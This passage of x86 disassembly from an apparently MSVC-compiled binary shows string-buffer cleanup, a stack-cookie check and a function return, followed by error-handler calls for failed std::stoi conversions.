jb 0x41a07f
mov ecx, dword [ebp - 0x264]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41a075
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a29c
push edx
push ecx
call fcn.00464810
add esp, 8
xor edi, edi
mov edx, dword [ebp - 0x120]
cmp edx, 8
jb 0x41a0c1
mov ecx, dword [ebp - 0x134]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41a0b7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a2a1
push edx
push ecx
call fcn.00464810
add esp, 8
mov edx, dword [ebp - 0x98]
xor eax, eax
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x120], 7
mov word [ebp - 0x134], ax
cmp edx, 8
jb 0x41a11e
mov ecx, dword [ebp - 0xac]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41a114
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a2a6
push edx
push ecx
call fcn.00464810
add esp, 8
mov edx, dword [ebp - 0x138]
xor eax, eax
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0x98], 7
mov word [ebp - 0xac], ax
cmp edx, 8
jb 0x41a17b
mov ecx, dword [ebp - 0x14c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41a171
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a2ab
push edx
push ecx
call fcn.00464810
add esp, 8
mov edx, dword [ebp - 0xfc]
xor eax, eax
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0x138], 7
mov word [ebp - 0x14c], ax
cmp edx, 8
jb 0x41a1d8
mov ecx, dword [ebp - 0x110]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41a1ce
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a2b0
push edx
push ecx
call fcn.00464810
add esp, 8
mov edx, dword [ebp - 0x154]
xor eax, eax
mov dword [ebp - 0x100], 0
mov dword [ebp - 0xfc], 7
mov word [ebp - 0x110], ax
cmp edx, 0x10
jb 0x41a22f
mov ecx, dword [ebp - 0x168]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41a225
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a2b5
push edx
push ecx
call fcn.00464810
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004642be
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0x10
call fcn.00480792
call fcn.00480792
call fcn.00480792
call fcn.00480792
call fcn.00480792
call fcn.00480792
call fcn.00480792
call fcn.00480792
call fcn.00480792
call fcn.00480792
push str.invalid_stoi_argument
call fcn.0044f40d
push str.stoi_argument_out_of_range
call fcn.0044f44d
call fcn.00480792
call fcn.00480792
call fcn.00480792
call fcn.00480792
call fcn.00480792
call fcn.00480792
call fcn.00480792
int3